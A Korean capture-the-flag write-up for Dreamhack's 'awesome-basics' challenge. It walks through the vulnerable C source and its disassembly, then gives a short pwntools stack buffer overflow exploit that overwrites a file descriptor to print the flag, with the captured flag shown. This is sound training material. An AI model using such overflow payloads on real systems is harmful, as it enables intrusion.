dreamhack - awesome-basics writeup
[dreamhack] awesome-basics writeup
1. 문제

awesome-basics
Stack Buffer Overflow 취약점이 존재하는 프로그램입니다.
주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag 파일에 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define FLAG_SIZE 0x45
char *flag;
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
int flag_fd;
int tmp_fd;
char buf[80];
initialize();
// read flag
flag = (char *)malloc(FLAG_SIZE);
flag_fd = open("./flag", O_RDONLY);
read(flag_fd, flag, FLAG_SIZE);
close(flag_fd);
tmp_fd = open("./tmp/flag", O_WRONLY);
write(stdout_fd, "Your Input: ", 12);
read(stdin_fd, buf, 0x80);
write(tmp_fd, flag, FLAG_SIZE);
write(tmp_fd, buf, 80);
close(tmp_fd);
return 0;
}
flag
변수에 ./flag
파일을 읽어서 쓴 후, buf
에는 내가 입력한 내용을 받는다.
이후 ./tmp/flag
파일에 flag
의 내용과 buf
에 있는 내용을 쓰는 코드이다.
먼저 gdb
를 보고 각 변수의 정확한 위치를 확인해보자.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000000012ef <+0>: endbr64
0x00000000000012f3 <+4>: push rbp
0x00000000000012f4 <+5>: mov rbp,rsp
0x00000000000012f7 <+8>: sub rsp,0x70
0x00000000000012fb <+12>: mov DWORD PTR [rbp-0x64],edi
0x00000000000012fe <+15>: mov QWORD PTR [rbp-0x70],rsi
0x0000000000001302 <+19>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000001309 <+26>: mov DWORD PTR [rbp-0x8],0x1
0x0000000000001310 <+33>: mov eax,0x0
0x0000000000001315 <+38>: call 0x128a <initialize>
0x000000000000131a <+43>: mov edi,0x45
0x000000000000131f <+48>: call 0x1140 <malloc@plt>
0x0000000000001324 <+53>: mov QWORD PTR [rip+0x2d05],rax # 0x4030 <flag>
0x000000000000132b <+60>: mov esi,0x0
0x0000000000001330 <+65>: lea rax,[rip+0xcd6] # 0x200d
0x0000000000001337 <+72>: mov rdi,rax
0x000000000000133a <+75>: mov eax,0x0
0x000000000000133f <+80>: call 0x1160 <open@plt>
0x0000000000001344 <+85>: mov DWORD PTR [rbp-0xc],eax
0x0000000000001347 <+88>: mov rcx,QWORD PTR [rip+0x2ce2] # 0x4030 <flag>
0x000000000000134e <+95>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000001351 <+98>: mov edx,0x45
0x0000000000001356 <+103>: mov rsi,rcx
0x0000000000001359 <+106>: mov edi,eax
0x000000000000135b <+108>: call 0x1120 <read@plt>
0x0000000000001360 <+113>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000001363 <+116>: mov edi,eax
0x0000000000001365 <+118>: call 0x1110 <close@plt>
0x000000000000136a <+123>: mov esi,0x1
0x000000000000136f <+128>: lea rax,[rip+0xc9e] # 0x2014
0x0000000000001376 <+135>: mov rdi,rax
0x0000000000001379 <+138>: mov eax,0x0
0x000000000000137e <+143>: call 0x1160 <open@plt>
0x0000000000001383 <+148>: mov DWORD PTR [rbp-0x10],eax
0x0000000000001386 <+151>: mov eax,DWORD PTR [rbp-0x8]
0x0000000000001389 <+154>: mov edx,0xc
0x000000000000138e <+159>: lea rcx,[rip+0xc8a] # 0x201f
0x0000000000001395 <+166>: mov rsi,rcx
0x0000000000001398 <+169>: mov edi,eax
0x000000000000139a <+171>: call 0x10f0 <write@plt>
0x000000000000139f <+176>: lea rcx,[rbp-0x60]
0x00000000000013a3 <+180>: mov eax,DWORD PTR [rbp-0x4]
0x00000000000013a6 <+183>: mov edx,0x80
0x00000000000013ab <+188>: mov rsi,rcx
0x00000000000013ae <+191>: mov edi,eax
0x00000000000013b0 <+193>: call 0x1120 <read@plt>
0x00000000000013b5 <+198>: mov rcx,QWORD PTR [rip+0x2c74] # 0x4030 <flag>
0x00000000000013bc <+205>: mov eax,DWORD PTR [rbp-0x10]
0x00000000000013bf <+208>: mov edx,0x45
0x00000000000013c4 <+213>: mov rsi,rcx
0x00000000000013c7 <+216>: mov edi,eax
0x00000000000013c9 <+218>: call 0x10f0 <write@plt>
0x00000000000013ce <+223>: lea rcx,[rbp-0x60]
0x00000000000013d2 <+227>: mov eax,DWORD PTR [rbp-0x10]
0x00000000000013d5 <+230>: mov edx,0x50
0x00000000000013da <+235>: mov rsi,rcx
0x00000000000013dd <+238>: mov edi,eax
0x00000000000013df <+240>: call 0x10f0 <write@plt>
0x00000000000013e4 <+245>: mov eax,DWORD PTR [rbp-0x10]
0x00000000000013e7 <+248>: mov edi,eax
0x00000000000013e9 <+250>: call 0x1110 <close@plt>
0x00000000000013ee <+255>: mov eax,0x0
0x00000000000013f3 <+260>: leave
0x00000000000013f4 <+261>: ret
End of assembler dump.
처음에 stack에는 0x70
만큼 할당하지만, 변수들을 넣는 것을 보고 정리하면 아래와 같다.
변수명 | 위치 |
---|---|
rbp-0x60 | buf |
rbp-0x10 | tmp_fd |
rbp-0xc | flag_fd |
rbp-0x8 | stdout_fd |
rbp-0x4 | stdin_fd |
그런데 buf
변수에 입력을 할때 0x80
만큼 넣을 수 있기 때문에 bof
취약점이 발생한다.
코드를 보면 buf
변수에 read
를 한 직후에 tmp_fd
에 flag
내용을 쓴다.
tmp_fd
는 buf
뒤에 위치하고 있기 때문에 이를 만약 stdout
, 즉 0x1
로 덮을 수 있으면 코드가 아래와 같이 변할 것이다.
write(stdout, flag, FLAG_SIZE);
이러면 tmp_fd
에 flag
값을 쓰지않고 stdout
으로 출력하게 되므로 해결할 수 있다.
최종 exploit은 아래와 같다.
from pwn import *
p = remote("host3.dreamhack.games", 15512)
p.recvuntil("Your Input: ")
payload = b'a' * 80
payload += p64(0x1)
p.send(payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/awesome-basics$ python3 e_chall.py
[+] Opening connection to host3.dreamhack.games on port 15512: Done
/home/ubuntu/dreamhack/level1/awesome-basics/e_chall.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Your Input: ")
[*] Switching to interactive mode
DH{4ae8dab78b961371336e61a58d6ec5bf9af48e06ad3d96b3e5461e264e910eaa}
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
해결~